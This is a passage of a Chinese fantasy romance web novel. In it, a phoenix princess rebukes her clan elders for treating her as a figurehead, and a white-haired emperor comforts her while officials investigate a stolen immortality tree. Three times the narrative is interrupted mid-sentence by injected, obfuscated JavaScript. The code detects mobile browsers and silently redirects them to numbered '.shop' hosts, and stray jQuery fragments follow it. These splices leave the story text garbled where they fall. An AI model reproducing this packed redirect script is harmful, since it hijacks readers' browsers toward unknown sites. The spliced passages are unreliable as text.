等过一段时间,等他消消气,或许就好了。
郁离又拿着镜子翻来覆去地研究了半天,把刚发出去的两句话撤回。
镜面上重新变得空空荡荡。
郁离才松了一口气,也没有心思再睡觉,揉了揉脸,扬声道:“白羽,墨羽这次带话本回来了吗?”
“带了。”
另一边的白羽过来,愁眉苦脸:“女君,您要看吗?”
她总疑心女君这次行为反常,又被月宫少宫主诊出什么相思病,都跟这些害人的话本离不了关系。
“把那些讲爱情故事的单独挑出来,放在这边。”
郁离肃然坐在桌前,俨然一副要“好好学习”的模样。
从前郁离口味杂,墨羽出任务时会顺便为她搜集一些人间的话本。
这些话本风格各异,有的讲的是风俗志怪,有的讲的是出身寒微的少年意外获得机遇成就不世修为,还有各种各样的爱情故事。
比如魔教妖女与无情道剑修的故事,比如合欢宗女修与清冷佛子,比如暴戾人皇与治愈系小仙女……
有的话本,里面的剧情让人觉得匪夷所思,但是郁离往往是一边皱着脸跟白羽吐槽,一边忍不住熬夜看完。
此时此刻,她觉得自己莫名其妙做的那个梦,就像是那些话本子里的故事一样。
乱七八糟,又匪夷所思。
偏偏她又抓心挠肝地想要知道更多的细节。
此时梦境没有头绪,她迫切地想搞清楚,为什么梦里的自己会为了一只刚见面的寒鸦付出一切。
又为什么,现在的她明明对那只寒鸦十分忌惮,在看见他的时候又忍不住心跳加快。
*
昆仑墟的高处,浮云绕山,积雪终年不化。亭台金殿隐于浮云中,只露出日光下熠熠生辉的金顶。
此时,两宫四殿的主事难得聚在一起,皆是面色沉肃。
“真是奇了,月宫里那群兔子,往日不是声音最大吗?如今不声不响惹了这么大的事,现在不吭声了。”
灵山殿主事声如洪钟,一说话,殿外的积雪都簌簌地往下掉。
月殊抬起头看他,难得没有出言反驳,看了一眼身边身形高挑的女子,闷闷闭嘴继续当鹌鹑。
“萧老,这次确是我月宫办事不力,但不死树事大,如今也不是追责的时候,第一要务还是要找出不死树流向何处。”
女子声音不大,不疾不徐说话间,身上气势却半点不弱。
灵山殿执掌刑名,比起旁人,萧若海身上戾气极重,因为此事,灵山殿又连轴转了好几天,因为动用‘术’,好些人力量透支,不得不换下去休息。
萧若海气不顺,就想从旁人身上找补回来。
他冷冷一笑:“你说得倒轻巧,如今在你月宫抓了人,灵山殿连夜抽派人手审问,动用了‘术’也没问出什么有用的信息,焉知不是你月流在包庇!?”
月流面色微冷:“萧老,说话要讲证据。”
“哼!”
气氛逐渐剑拔弩张,谢清晏出来打了个哈哈:“这种危及宇内的大事,自然是要大家一起齐心协力,这种时候就先不要内讧啦……”
“灵山殿秘术,咱们都是见识过的,能辨善恶,分辨言语真伪,这灵山殿出马,事情定然是很快就要水落石出了!”
“不死树事关重大,多一天,就多一分变数。”另一人身着甲胄,声音中犹带金戈之声,“灵山殿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627133|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么有用的信息都没找到吗?”
“你是在说我灵山殿无用?”萧若海拍桌,不满起身。
不死树丢失,事关重大,大家都在为了这件事奔忙。
台下吵成一团,寂渊揉了揉眉心,不时看一眼手中的四方镜。
但镜面上安安静静。
半个时辰前,郁离发了两条传讯。
虽然刚看见就被撤回,但寂渊烦躁的心情还是好了许多,连众人的吵闹也变得没那么难以忍受。
见迟迟没有新的传讯发过来,寂渊好心情地打算给这只小凤凰一个台阶下。
意念在四方镜上凝成一行字:【怎么?】
然而,传讯石沉大海。
“帝君,您说……”
萧若海气冲冲地一扭头,看见身处高位的帝君面沉如霜,原本想找帝君评评理,此时就像是突然被掐了脖子的公鸡,声音戛然而止。
整个主殿都安静下来,小心观察着帝君的神色。
帝君似乎心绪不佳。
是因为他们太无用,两天了还没有查出有用的线索吗?
想到这,月宫几人安静闭麦。
一直没查到什么有用线索的萧若海也悻悻闭嘴。
面前的石桌安静下来,所有人都望着他,寂渊倏然起身。
萧若海小心问:“帝君,您现在去灵山大牢吗?”
“那些人都好好关着的,已经换上第五轮弟子上去审问了……”
“去凤山。”寂渊冷冷丢下一句。
众人面面相觑,继而反应过来:“是啊,不死树最先就是在凤山发现的,或许还有什么痕迹。”
“对,清晏你再从四方殿抽调一批人手,灵山殿也出几个人,月宫问不出什么线索,咱们先去凤山……”
“还是帝君英明,一下就发现了破局之法!”
谢清晏看呆了,悄悄撞了撞一直不吭声装鹌鹑的月殊,对着他挤眉弄眼。
月殊没有接收到他眼底跃跃欲试地八卦之意:?
“我刚看帝君一直在看四方镜,”谢清晏压低了声音,一脸的八卦,“帝君从前还说不喜欢四方镜这种联络方式,感觉太吵闹了。”
“我们的气息,他都没留。”
“那……帝君是在等谁的传讯呢?”
谢清晏以为自己发现了什么了不得的大新闻,兴奋得想要四处分享这个秘密。
月殊:“……”
也只有他了,这种情况下,还有心思想这些。
11. 第十一章
晚间,天色刚暗。
室内明珠散发出莹莹辉光,郁离还在伏案看话本,摊开的话本丢得到处都是。
香炉内升起袅袅的白烟,外面传来几人说话的声音。
“这次妖雾,有十来名族中少年失踪了。”
“试炼偶有伤亡,也属于正常。但这次实在太古怪了,他们都在外围清扫,并未深入,雾核也很快就被碾碎了,又不是在妖雾了困了很长时间,怎会如此。”
“太奇怪了。”
“不管是突然有雾核进入凤山结界,还是在妖雾内发现了不死树……这一切的一切,你们不觉得……”
大长老幽幽叹了一口气,目光肃然:“恐怕是,有人盯上了凤山。”
“那几家,先送去抚恤,好好安抚吧。”
“另外,这段时间凤山戒严,严查上下,别是有什么不干净的东西混了进来。”
“要说不干净的……”有人迟疑地朝山脚的方向看去,“那边不就有个最不干净的。”
“他倒还好,虽然气息令人生厌,但是看着不像有生事的本事。派人好好盯着吧。”
大长老叹息一声,问:“女君呢?”
试炼刚结束,长老院便一同来到梧桐宫前。
这一次试炼的结果,让所有人的内心都十分沉重。但或许是因为有了新的希望,来到梧桐宫前,也勉强打起了笑容。
“女君正在用功……学习。”白羽守在门前,扬声道。
长老欣慰点头:“刚从妖雾里出来,女君就如此用心,我凤山羽族复兴有望了。”
白羽为长老们推开门,突然迎面飞来了一个不明飞行物。
长老抬手接下,是一本书,正要露出欣慰的笑容,紧接着看清了封皮上的文字。
《骄纵大小姐爱上穷小子》
长老手一抖,话本掉在了地上。
抬眼,和一脸郁愤的郁离对上视线。
此时的郁离光脚站在地面上,满脸怒容。
这话本,写的是什么玩意?
大小姐出身有名的世家,穷小子是一无所有的草根,一次意外,大小姐救下了伤得奄奄一息的穷小子,把他带回了家中。
初见面时,大小姐看到奄奄一息倒在血泊之中的少年,明明一身泥泞,偏偏笑着仰头看她。
“小姐,此处污秽,仔细别脏了您的脚。”
于是,单纯的大小姐,心中猛地一跳。
看着血泊中少年露出的笑脸,心如擂鼓。
大小姐是家中独女,本是金尊玉贵地养大,疼爱她的父母却突然身染恶疾死去。
突逢变故,身边亲近的长辈突然都变了个模样,开始觊觎起大小姐的家产。
还是穷小子带着大小姐逃出围捕,最后又带着大小姐杀回去,一步步夺回家产。
但是郁离翻了翻后面,越看越皱眉。
大小姐养在深闺,诸事不通,于是家中产业都交给了穷小子打理,最后穷小子成了名副其实的家主。
原本对大小姐百依百顺的穷小子也变了个模样,开始嫌弃大小姐骄纵、蛮横,在外面养起了红颜知己,甚至在红颜知己的撺掇下,准备给大小姐下毒。
也是那时,大小姐才发现,原来最开始,就是这个人下毒害死了她父母。
原来,她救回去的根本就是一头人面兽心的狼。
……
郁离气得头晕,所以大小姐有了不得的家世,有钱有势,还貌美如花……
偏偏捧着一个不值钱的狗男人,让他踩到了自己头上?
这算什么!
她想要什么样的人找不到?
还有刚见面时,他说的话,那是正常人在奄奄一息的情况下能说出来的?
这分明就是蓄意的算计和勾引啊!
郁离气得面色发白,更让人生气的是……
有人看故事,有人照镜子。
她觉得梦中的自己,跟这个话本里的小姐,一样傻。
郁离气呼呼地站在原地。
生来一直被养得极好的小凤凰,心底的小火苗窜啊窜,头一次生出了想毁灭点什么的欲望。
刚进来的长老对上郁离怒气冲冲转过来的目光,目光偏移了一下,若无其事地把手背到身后,面上露出一个笑容。
“小女君,刚从妖雾出来就在……用功啊,累不累啊?歇会吧?”
“是啊是啊。”
长老们本来是想过来问问关于在妖雾内的情况,此时望着小女君的神态,又觉得此时应该不是什么谈事的好时机。
郁离转过脸,白生生的脸上露出个温软无害的笑容。
“长老们来了啊。”
怎么笑得怪渗人的。
长老们险些维持不住面上和蔼的神情,忙道:“这个,试炼的事情刚结束,本来有些事情想问问女君。”
“但是既然女君在忙的话,我们不如就……”
郁离:“不忙。”
她往后一步,安然坐了回去,往外招招手,一串小毛球飞了进来,叼着地上乱七八糟丢了一地的话本往木箱里放。
这些都是羽族还未化形的幼崽,圆滚滚的身躯还没一个话本子大,都是两三只一本,吭哧吭哧地叼着话本飞。
虽然不是第一次见这样的场景,但是众长老还是不由得有些感慨。
……羽族的幼年期,总是让家长们十分头疼。
这会的幼崽,大多十分好斗且暴躁,一个错眼没看见,就已经啾啾啾地打起来了,绒毛满天飞。
可自从郁离诞生以来,这群幼崽最爱的事情从和别的雏鸟打架,变成了蹲到梧桐神木上感受女君的气息。
若谁蹲在外面的时候刚好能被女君传召(指飞进来干活),那都是值得吹嘘许久的幸事。
就这,还隐约能看见窗户外飞扬的绒毛。
也是刚打完一架,才定下了谁能进来,谁不能进来的次序。
不仅仅是羽族,其他各族的幼崽,幼年期大多桀骜不驯,谁也不服。
却因为羽族多了个小女君,得以看到他们在女君面前吭哧吭哧谄媚干活的景象。
郁离垂眼看着桌案,因为刚才那个话本,看得心中焦躁。
她蹙眉开口,声音比起往常要更冷一些:“这次雾核的事情,长老们打算如何处理?”
小毛球们虽是幼崽,但是对于情绪的变化感知更加敏锐。
——女君的威压,似乎在无形之中加重了。
“这个……这些事情牵扯甚大,方才来时,我们已经商讨过了,”木长老笑眯眯的,“这些就不必女君操心了。”
“对,如今试炼也结束了,过两日学宫该恢复课业了,女君就不必操心这些了。”
“这些事,交给我们这群老骨头就好了。”
看出长老在转移话题,郁离冷冷一笑。
少女微冷的声音落在屋内,众长老俱是一惊。
“女君……是有什么吩咐吗?”
众长老无端有些忐忑。
这也是奇怪了,女君往日里总是很好说话的模样,今日的感觉……
倒是有点像,昆仑墟上的那一位。
但是怎么可能呢?
他们小女君花朵一样的年纪,又是长得可爱无害的,怎么会跟那尊煞神似的。
“我知道,我在你们心中不是凤山手握权柄的女君。”
郁离眼底倏然冷了下来,往常早已经习惯的事,此时却因为心中莫名的郁愤,而变得难以忍受。
“对你们来说,我只需要高高坐在梧桐神木上,接受羽族的仰望,接受羽族臣民的信仰。”
“我不能离开凤山,不能做危险的事,只需要好好地待在梧桐神木上做一个吉祥物。”
郁离眼底流露出浅淡的倦怠厌烦之意。
“你们以女君之名唤我,却只把我当作一个可以随意欺瞒、哄骗、拿捏的傀儡是吗?”
“我是你们亲眼看着长大的小辈,我在你们眼中,就一直是一个只能躲在你们羽翼下的幼鸟,什么事情都不懂,也不必懂,什么事情都有你们顶在前面,我只用躲在羽翼下。”
“看看书,赏赏花……是吗?”
无形之间,威压愈重。
来自血脉之中本能的威压,让往日总是直着腰的长老们,也不由感受到一股沉沉的威压。
让他们下意识地想要垂首,低眉,然后虔诚地跪在女君的脚边。
大长老咬咬牙,努力对抗着血脉之中的本能,开口道:“小女君,您怎么能这么说呢?”
“您在我们眼中,一直都……一直都……”
大长老本来想说。
您是凤山女君。
您在我们眼中,一直都是凤山手握权柄,至高无上的女君。
可是这一刻,这句话就像是卡壳了,无论如何也说不出来。
大长老勉强找回自己的声音:“您什么都不用做,就是羽族敬若神明的女君,您只需要端坐在梧桐神木上,就自会有人把一切都送到您的脚边。”
“从来都是如此。”
“小女君……这样,难道不好吗?”
众长老的眼底,流露出同样的迷茫。
从来都是如此啊。
小女君什么都不用做,什么都不用管,所有的一切,自有他们去处理。
女君本就不必做什么,她从生下来,就注定了,羽族会将她奉若神明。
这难道……
有什么不对吗?
“大长老。”
那一瞬间,山呼海啸般沉沉压在人身上的威压,又如潮水般褪去。
郁离缓缓走下,她的面色显得有些苍白,眼眶泛着微红。
她的身形比起高大的长老们显得要娇小许多,可此时谁也无法生出眼前之人弱小的感觉。
她一步步走来,众长老情不自禁地后退了一步。
这后退的一步,令所有人感到怔忪。
他们这是……被女君身上的气息逼退了?
她仿佛还是他们记忆中的小女孩,却不知何时,已经成长到了这种地步,几人心中都有些恍然。
郁离微微偏头,“你们心知肚明,我之于羽族,究竟是什么。”
“一开始,你们视我为羽族的希望,可在发现我血脉有损,时常遭遇血脉反噬之后,你们就变了。”
“你们认为,凤山不需要一个实力低微的女君。”
“于是,我仍担着凤山女君之名,却只需要在重大的场合出现接受朝拜,只需要当一个漂亮的花瓶坐在高处。”
“我是凤山羽族的招牌,却不是你们的女君。”
他们时刻谨记在她面前执
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627134|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
君臣之礼,对她十二万分的敬重,愿意为她搜罗世间最好的一切。
不管她想要什么,他们都会为她找来,然后堆在她的王座下。
他们宠她、爱她,有敬重,却并无敬畏。
她可以是凤山羽族的珍宝、信仰,却决不是“凤山女君”。
所以,在梦中,就因为寒鸦烛夜表现出了极高的天赋,她也表现出了对他的喜爱。
长老们联手促成了她与烛夜的婚约。
只因“凤山郁离,决不外嫁”,而羽族中的其他青年,都因为血脉中的敬畏不敢接近她。
哪怕那只寒鸦,最开始被他们所有人鄙夷、看不起。
可在他一步步走向高处之后,长老们却生出了让郁离和他结契的想法。
反正情况已经不能更差了是吗?
比起女君喜爱一只血脉驳杂的寒鸦,总比让女君和外族结契要好。
凤山郁离,就该一直是凤山羽族的小凤凰。
……
众长老目露愕然,下意识想要反驳,却有些开不了口。
他们垂首,心中激荡。
虽然不想承认,却不得不说,小女君……
说得是对的。
大长老目光震动,声音有些不稳:“小女君。这样,不好吗?”
就这样高高地坐在上头,剩下的一切,都让他们来。
这样……不好吗?
郁离沉着一张脸时,浅金的瞳孔中流露出的是一种高不可攀的漠然。
站在面前的人,好像一瞬间就变得陌生起来。
郁离偏了偏头,缓缓露出一个浅笑,像是从前一样。
“可是你们从未问过我。”
“你们从未问过我,要做女君,还是做一只血脉高贵的金丝雀。”
长老们抬起头,眼底愕然:“女君……”
“凤凰就是羽族命定的女君。”
大长老垂首,深吸一口气,而后手放在胸口,极庄重地行了一个标准的觐见礼,“您一直都是羽族当一不二的君主。”
“从前是,以后也会是。”
在他身后,众长老齐齐俯身。
“是我等失职,才会让女君生出这样的想法,是我们……”
众人心中陡生一种颓然与迷茫。
原来他们这么长时间以来,都做错了么?
他们自以为是在保护、爱戴女君,实际上却是因为……
有人感到羞愧地低下头。
他们从前,竟真的有过那样的想法。
女君因为血脉反噬,无法在修行一途上更进一步。
羽族从往日凤凰一族带领下的辉煌,后来渐渐走向衰败,他们等待这一只凤凰的降生已经太久,因而也对它赋予了过高的期望。
所以才在发现,郁离动用力量会遭遇血脉反噬后认为,她变成了一个只能被保护,只能被所有人当成一个易碎的瓷器一样放在高处的孱弱易碎品。
但,本不该如此啊。
本不该如此。
……
长老们从梧桐宫内出来,不知不觉竟出了一身汗,内心沉闷得像是压了一块大石。
这一晚,长老院的灯,彻夜不熄,一直点到了第二天。
*
月黑风急,今夜梧桐树梢的月亮,罕见地被乌云遮盖。
树梢的叶子被吹得哗哗响,郁离安静地坐在枝头,目光漫无目的,也不知道自己在看什么。
这里是梧桐神木的高处,垂眼就能凤山连绵的群山,和点缀在群山之间的星火。
往常,她心情不畅的时候,就喜欢待在上面。
可今日,吹了许久的夜风,心情仍旧十分沉重。
心底就像是被乌云遮盖的月亮,有些透不过气来。
她逐渐意识到,梦中的她,会走向那样的结局,不止是因为烛夜处心积虑地出现在她身边。
还因为她自己的选择,因为她身边许许多多的人,命运交织成了一张大网,推着她走向了那样的结局。
郁离望着透不出一丝光的月亮,缓缓地抱住了腿。
这样的动作,让她感觉到一丝安全感——在她经受血脉反噬时,也喜欢这样。
“反噬提前了?”一道沉冷的声音落在耳畔,微凉的手搭上了她的肩头,沛然纯正的灵流随之涌入。
郁离转过头,竟看到一个意料之外的人。
“你怎么来了……”
在这个没有月亮的夜晚,寂渊一身雪发倾泻而下,竟像是裁下了月光中最柔和的一截月练。
他出现在身边,周身气息霜淡云清,还带着一股好闻的雪松香气,让人轻易地联想到矗立在山巅不化积雪中的劲松。
寂渊垂眼看她,神情淡淡:“来时听说有只小凤凰,一人舌战十二大儒,怎么,吵输了躲起来哭鼻子?”
听出他声音里的促狭,郁离声音沉闷:“赢了。”
应该算是赢了吧。
高大的身影蹲下身,平视着郁离,神情似乎有些无奈。他的声音清清淡淡,被风吹散,听起来竟比往日柔和。
“吵架吵赢了,怎么还不开心。”
还一副,要碎掉的样子。
郁离吸了吸鼻子。
蓦地感觉今晚风好大,风吹得眼眶都红了,有眼泪不受控制地想要往外掉。
12. 第十二章
如果世间的一切都有颜色,往日的郁离总是鲜妍的,她是枝头沾露的花朵,是朝霞初升的艳阳。
但今日的郁离,无疑是暗色的。
今夜无雪,却像有一片不识趣的阴云笼罩在小凤凰的头顶。
阴雨绵绵落下,于是骄傲的小凤凰也像是一只被雨淋湿了羽毛的可怜幼鸟,身上笼罩着一层晦暗的寂寥。
寂渊垂在身侧的指尖微动,挑眉无奈:“怎么吵架吵赢了还要哭鼻子。”
一件厚厚的大氅盖在了身上,郁离怔怔抬眼,看见寂渊垂眸为她披衣,修长的指尖漫不经心地给她打了个结。
“吵赢了也要哭鼻子……要是吵输了,不得把整个凤山都掀了。”
郁离在这枝头上待了许久,已经吹得手脚冰凉。
厚实温暖的氅衣罩下,隔绝了萧萧寒风;顺着寂渊修长有力的指骨,沛然纯正的灵流顺着经脉转了一圈,很快身子就热了起来。
——甚至能隐约感觉到自己在冒着热气儿。
这个认知,莫名让郁离感到有些好笑。
刚挂在眼角的小珍珠,随着这一点笑意化作了细星的碎影,掉了下来。
“拿什么掀?还没开始动手,自己就先趴下了。”
刚掉下来的一点水光,还没有滚落,就在蒸腾的灵流之下变成了雾气。
寂渊微微扬眉,似是意外:“你竟还有自知之明。”
郁离气得要飞过去啄他。
寂渊抬手抵着郁离的肩膀,轻而易举地就把她拦在一臂之外。
郁离气冲冲的,猫儿似的眼底泛着一圈水光,眼角红通通的,看上去十足可怜。
她往前走了两步,却被寂渊抵着肩膀,挥舞双手,连他的一片衣角都没沾到。
看她还要挣扎,寂渊转而捏住了她的后脖颈,把她提溜了起来。
“……”
小凤凰被提溜起来,挂在半空中晃了晃。
“长得高了不起啊!”郁离气得咬牙。
被轻而易举地当成小鸡崽似的提溜起来,郁离觉得更加气闷:“怎么会有这么弱的凤凰!”
寂渊默了一瞬,看着张牙舞爪的郁离挂着晃了晃,发觉这个姿势也不错,就这么挂在他的手上不动了。
郁离心中原本积压着许多的不满与郁愤,还被突如其来的不速之客挂了起来,更加委屈,张嘴叽叽喳喳地埋怨:
“刚出生的时候,长老们跟我讲上古神凤的战绩,一张口就能吐出燎原之火,振翅凌空,遮天蔽日。”
“我以为,我只要顺顺畅畅的长大,到了成年的时候,我就会无师自通地学会这些,一变身,就能把整个凤山都衔在嘴里。”
寂渊默了一瞬,“上古最强的凤凰,原形也没有这么大的。”
“可是长老们说的故事里,凤凰就是有这么大的!”
“……”
可见,吹嘘先祖这件事,不管是哪个种族都不能免俗。
水族也总是爱吹嘘神龙长吟,能引山崩海啸,龙盘虎踞,能将这个天空都遮蔽。
羽族也是一样,不管从前的神凤有多大,自从凤凰离开这个世界后,在这些遗民的口中,神凤会越来越大,直到比天还大。
郁离还沉浸在被世界所孤立的委屈当中。
“……但我早就不长个了,”郁离晃悠着,伸出手比划了一下,“就这么大,就不长了。”
“修为也停滞不前。”
郁离无疑是骄傲的。
自一出生,所有人都在告诉她,您是凤凰,您是羽族至高无上的太阳。
只要有您的存在,就能照亮一切晦暗。
可是不断发作的血脉反噬,不能寸进的修为都在告诉着郁离,她不是什么太阳,她只是一个纸糊的凤凰,只是凤山羽族扯出来的一面大旗。
如果不是一直留在凤山,凤凰血脉又对羽族有着天然的压制,她这个纸糊的凤凰恐怕早就被发现了。
而在梦里发生的一切,更是告诉她,她过于弱小。
甚至于,如果遇到什么事,她没有一丁点反抗的能力。
“还要多大?”寂渊眼底掠过一丝笑意,“现在小小的不是刚刚好。”
现在的郁离,在血脉反噬发作时还能被制住。
再大一圈,依着她的犟种脾气,恐怕按也按不住,一发作,凤山传承万年的凤凰神木恐怕都自身难保。
“小?!”郁离气得磨牙,她可以这样嫌自己,但是别人不能这么说!
郁离突然想起来什么似的,揪住寂渊的袖口问他:“你有多大?”
“……”
寂渊目光一顿。
郁离似乎并不觉得这个问话有什么问题,她只是突然想起来……
有的物种,生来体型就比旁人庞大。比如巨象族,巨龟族……除了这些天赋异禀的种族,大部分的物种原形的大小都与能力的强弱直接相关。
她还从来没见过寂渊的原形,也没人知道寂渊是什么变的。
她疑心,寂渊的原形应该长得不太好看,甚至可能不太体面。
寂渊的实力毋庸置疑。
他这么强,原形想必很大。
想想看。
一个丑东西,如果小小的,那么丑的面积就会很小,但是如果太大了,丑的面积也无限扩大,就会丑得有十分狰狞。
但寂渊如果像她一样,拥有一身精心梳理的漂亮翎羽,也会忍不住时不时化作原形去梧桐神木上飞一圈的。
怎么能忍住从来不在众人面前现原形。
郁离兴致勃勃地盯着他,催促道:“变出来看看。”
听说寂渊也是天生神脉,如今四海八荒神血凋敝,能降生的神裔,应当也是血脉不凡。
他说不定……是只玄武!
郁离越想越兴致勃勃,眼底那一点稀星的泪影,早就消失不见,此时只顾着催促,连自己刚刚在想什么都忘了。
寂渊叹一口气,疑心今晚过来是个错误的决定:“该睡了,小凤凰。”
他避而不答,郁离更加坚定自己的揣测,于是伸出手拍拍他的胳膊,意在安慰。
“没关系,原形丑就丑……噗嗤,丑就丑点吧,人形好看就行。”郁离装模作样地安慰,只是险些没憋住笑。
寂渊淡淡地斜睨她,“总比小鸡崽要好些。”
“……”
“你在说什么?!!”
寂渊把人扔回了梧桐宫。
郁离被团成一团丢到铺得厚厚的榻上,还要张牙舞爪地跟他比比大小,刚从被窝里露出一个头,就看到寂渊支腿靠在大开的窗棂上。
在他身后,被云层遮蔽的月亮,不知何时漏了出来,月华倾泻而下,映在他的雪发上,竟然圣洁得像是高不可攀的神明。
月色柔和,寂渊的姿态闲适,漫不经心抬眼时,眼角眉梢带着的冷意极淡。
恍然间,像是月上仙落在了人间。
郁离看得一呆。
原本要脱口而出的话卡在了嘴边,原本的郁愤也忘了个干净。
好看得有点太犯规了。
郁离的心跳好似漏掉了一拍,噗通地跳了一下。
她又缩回了自己的被子里。
寂渊淡淡抬眼,看着床榻上鼓个大包,觉得有些好笑:“郁离,你是属乌龟的么?”
郁离罕见的没有反驳。
而是心底琢磨着,他能这么无所顾忌地拿乌龟取笑人,想必他的原形定然不是乌龟或者玄武!
这样想想,还是要好受些。
毕竟若是原形太丑,还是有些下不去嘴。
郁离脸颊红红。
寂渊不知她在想什么,想着今晚那一双朦胧的泪眼,望着月朗风清的夜空淡声道。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627135|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郁离,不见月的夜晚,月亮也不是消失不见了。”
“月亮始终高悬于天,不会因为一时的黑暗而消失,”寂渊的声音在夜风中飘远,“郁离,你也一样。”
“你只是被暂时的乌云挡住了。”
所以血脉反噬也好,现在的弱小也好,都只是一时的。
“人人都说,这片四海,是神弃之地,已经多年没有天生神脉的诞生。许多人都传,这片天地气数已尽,所以祸乱四起,妖雾弥漫。”
“但凤凰是天生灵物,你诞生那日,天地降下灵泽,许多刚诞生的妖雾都在灵雨中散去。彼时,宇内都在呼唤你的尊名。”
“郁离,仅仅是你的诞生,就给整个四海带来了希望。”
“所以,郁离,别着急,慢慢来。”
他鲜少一次性说这么多话,郁离也是第一次发现,原来他的声音也如同松石漱玉。
好听得耳朵有些发麻。
郁离从被褥里探出头,似乎因为太闷,脸颊被捂得发红。
她的眼眶红了一圈,但望着人的目光却是亮晶晶的,小凤凰煞有其事地认真点头:“嗯!”
望着寂渊棱角分明的侧颜,郁离暗暗想:
但若是,学宫的先生们都能像帝君一样长得好看、说话好听、声音也好听……她定然不至于总是走神犯困!
“那天的事情……”
郁离忽然想起那天两人的不欢而散,虽然今天都默契地没有再提,但郁离还是有些放不下。
她从被窝里探出的头,像是某种毛绒绒的小动物,蹭得发丝凌乱。
“嗯?”寂渊闲倚窗棂,漫不经心地看她。
“我没有被他蛊惑,真的。”郁离眼也不眨地看着他,神情认真,“他身上或许有什么东西,让我觉得很奇怪。”
“所以才把他留了下来。”
这就算是解释了。
郁离神态一脸认真,尤其说起没有被蛊惑时,信誓旦旦,像是在保证一般。
梦境的事,她还不知道怎么说。只能先这样了。
寂渊心中微软,又蹙眉:“直接杀了不就好了。”
小凤凰还是太心软,发觉那人身上有异常还这么费劲地把人留在身边。
但这不是她的错,是那只寒鸦的错。
寂渊淡淡地想。
郁离摇了摇头,抿唇。
或许是月色太温柔,两人的距离也拉得极近,郁离的心情没有往日沉重。
她说:“他身上的秘密,事关凤山,我一定要弄清楚。”
他的目的,是她。
要她的命,就是和整个凤山羽族作对。
说事关凤山好像也没什么问题。
寂渊蹙眉,虽然对郁离的说法不是很认可,但他本不是多事的性格,这既然是郁离自己的事情,他就没有一直横加阻拦的道理。
他垂眸看着郁离,一只手撑在腿上,无可无不可地应了一声。
“嗯。”
寂渊旋而起身,一头雪发洒落,跳下窗棂缓缓走入月光:“若遇事不决,再来寻我。”
“睡吧,小凤凰。”
寂渊的身影消失在夜色里,郁离趴在窗棂上,空气里,似乎还残留着几分冷冷松香。
他们这算是……和好了吧?
郁离抬手关窗,往床榻上滚了一圈又一圈,缎子似的墨发披散在身下。
那些积压在心头的郁郁,也随着寂渊的离去,和夜风一同散去了。
一只手捂住胸口,郁离不由得想——
这次可以确定了,她真的没有喜欢上那只丑乌鸦,癞蛤蟆。
她没病也没疯。
她果然还是更喜欢好看的。
郁离唇角翘了又翘,眉眼弯弯地滚到了锦绣绸缎堆成的床榻里。
今夜,月色很美。
她定然会做个好梦。
13. 第十三章
半山浮云缭绕,凤山多了一批特殊的客人。
凤山冬试刚刚结束,族中事故一茬接一茬,帝君带着一批四方殿执事、灵山殿刑官、月宫药师在凤山住下了。
羽族众人虽然不知发生了什么,但冲着昆仑墟两宫四殿出动了三个的架势,就知道事情一定不小。
赤水宫负责镇压赤水下的深渊,非要事不得擅离。
但这次,羽族抬头,甚至能看到赤水军中人,身披戾气逼人的重甲往来凤山与昆仑。
这次事情恐怕不小。
因为这个认知,也不想惹祸上身,暂时圈出来供昆仑墟一行人暂住的山头,空出了一大片静默的地带。
原本住在那附近的,也各自找了亲族投奔,远远地避开。
小榭里。
庭院内长着一棵巨大的凤凰花树,火红的凤凰花开了满树,间或落下几朵点缀在亭台楼阁的屋顶上。
谢清晏几人聚在一处,还在商讨最近的事。
“半山园圃是凤山的重要财产,管理严格,每个弟子进出,都要登记,”谢清晏点了点手中藏青色的簿子。
“最开始发现雾核的时候,凤山就已经查过,那段时间进出半山园圃的弟子名单都在这了。”
“我们怀疑,雾核和不死树,是一同被带进去的。”
萧若海冷嗤一声:“凤山当日毫不犹豫就封闭了半山园圃,过了这么许久,一点风声都没有……想必也是没查出什么。”
谢清晏眼下一圈鸦青,已经连轴转了好几日,每天看这些文书都觉得眼前发晕。
“这里面的人,我们已经重新走访过一遍了,”谢清晏点了点簿子,上面用朱笔圈出来几个名字,“但这几个人,都死在了妖雾里。”
“妖雾?”萧若海抬头,“这次不是帝君亲自出马吗?就算再危险的雾核,有帝君在,里面也掀不起什么大风浪,怎么还死人了……”
“这凤山羽族,与世隔绝这么多年,我还以为他们藏起来偷偷发育,原来一代不如一代了。”
“这种跟在帝君身后混混资历的事都能闹出这么大的动静……”萧若海摇了摇头,大笑出声,“我看他们那吹的天上有地上无的小凤凰,也是草包一个,半点作用没有。”
周围突然没了动静,萧若海皱眉问:“你们怎么不说话了?”
谢清晏指了指他身后。
